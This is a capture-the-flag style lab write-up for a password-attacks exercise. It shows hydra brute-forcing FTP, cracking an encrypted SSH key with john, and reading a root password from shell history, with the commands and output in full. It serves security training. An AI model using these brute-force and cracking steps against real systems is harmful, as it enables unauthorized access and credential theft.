

Password Attacks: Easy Lab

Objective

The objective of this lab is to perform a straightforward password attack involving FTP and SSH, leading to privilege escalation.

Steps

1. Conducted FTP Username Attack

An FTP connection was established using the username mike, and a password attack was performed to gain access.

```
[eu-academy-6]-[10.10.15.128]-[htb-ac-1246556@htb-aglmsu6vbk]-[~]  
[*]$ hydra -l mike -P password.list ftp://10.129.185.157 -f -t 24  
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service  
is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-19 08:38:23  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous  
a.restore  
[DATA] max 24 tasks per 1 server, overall 24 tasks, 203 login tries (1:1/p:203), ~9 tries per task  
[DATA] attacking ftp://10.129.185.157:21/  
[21][ftp] host: 10.129.185.157 login: mike password: 7777777  
[STATUS] attack finished for 10.129.185.157 (valid pair found)
```

2. Discovered id_rsa Key in FTP Share

While accessing the FTP share, an id_rsa SSH key file was found.

```
[eu-academy-6]-[10.10.15.128]-[htb-ac-1246556@htb-aglmsu6vbk]-[~]
[*]$ ftp mike@10.129.185.157
Connected to 10.129.185.157.
220 (vsFTPD 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||48923|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 554 Feb 09 2022 authorized_keys
-rw----- 1 1000 1000 2546 Feb 09 2022 id_rsa
-rw-r--r-- 1 1000 1000 570 Feb 09 2022 id_rsa.pub
226 Directory send OK.
ftp> █
```

3. Identified id_rsa as Password Protected

The id_rsa file was encrypted and password-protected.

```
[eu-academy-6]-[10.10.15.128]-[htb-ac-1246556@htb-aglmsu6vbk]-[~]
[*]$ head id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6DC3EBB6704485E5C29AF185FEEEFDE9

ivt1oPqVlSo6BNfMAPLabyYG4LXwEGhU7L+gjFX3DfEM+sQ/NtWq0Qt4bLOAVUR9
YEZ6A8IfozhQDMIH+fxkCPr8z+u9NKAQidi8h8XzUqmMzVJWRYSX/KZ8TsJcWuGd
YLY3UJTzsTYbwZbzNPzXqqFyt0qM/oKPQIqvRIIt10nko3ph60P0H8IKP+T3N6sid
go0+bXZi/CBIdjriInSoDyV/63X8LDUbToo7DY0uwKdbf2trGMWMqcghPJapbNvy
Scd/l2IHuYkvld47LKkwn+syb/Bgh/uXI08sVC/2UTj1WzPn0tf0ZJ3yfnAmYuPi
di0iC00R/GJ7wSdLACNNyoRNY5jtPordsHqOX55mK5ZnzPAAr++iv04FtwQteaQ4
[eu-academy-6]-[10.10.15.128]-[htb-ac-1246556@htb-aglmsu6vbk]-[~]
[*]$ █
```

4. Cracked the SSH Key Password

The password for the id_rsa file was successfully cracked, granting access to the SSH key.

```
[eu-academy-6]-[10.10.15.128]-[htb-ac-1246556@htb-aglmsu6vbk]-[~]
[*]$ ssh2john id_rsa > ssh.hash
[eu-academy-6]-[10.10.15.128]-[htb-ac-1246556@htb-aglmsu6vbk]-[~]
[*]$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
7777777 (id_rsa)
1g 0:00:00:00 DONE (2024-08-19 08:45) 100.0g/s 16000p/s 16000c/s 16000C/s carolina..david
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
[eu-academy-6]-[10.10.15.128]-[htb-ac-1246556@htb-aglmsu6vbk]-[~]
[*]$
```

5. Found Root Password in History

The root password was discovered within the command history, allowing for elevated privileges.

```
mike@skills-easy:/$ history
 1 vim updater.bash
 2 bash updater.bash
 3 vim updater.bash
 4 apt-cache search gem
 5 sudo gem install -V lolcat
 6 sudo apt-get install fortune
 7 analysis.py -u root -p dgb6fzm0ynk@AME9pqu
 8 rm -rf analysis.py
 9 fortune
10 man fortune
```

Conclusion

This lab demonstrated a simple password attack scenario, where access was gained through FTP, and further escalation was achieved by cracking a password-protected SSH key and discovering root credentials in the history. The exercise underscores the importance of securing sensitive files and passwords to prevent unauthorized access.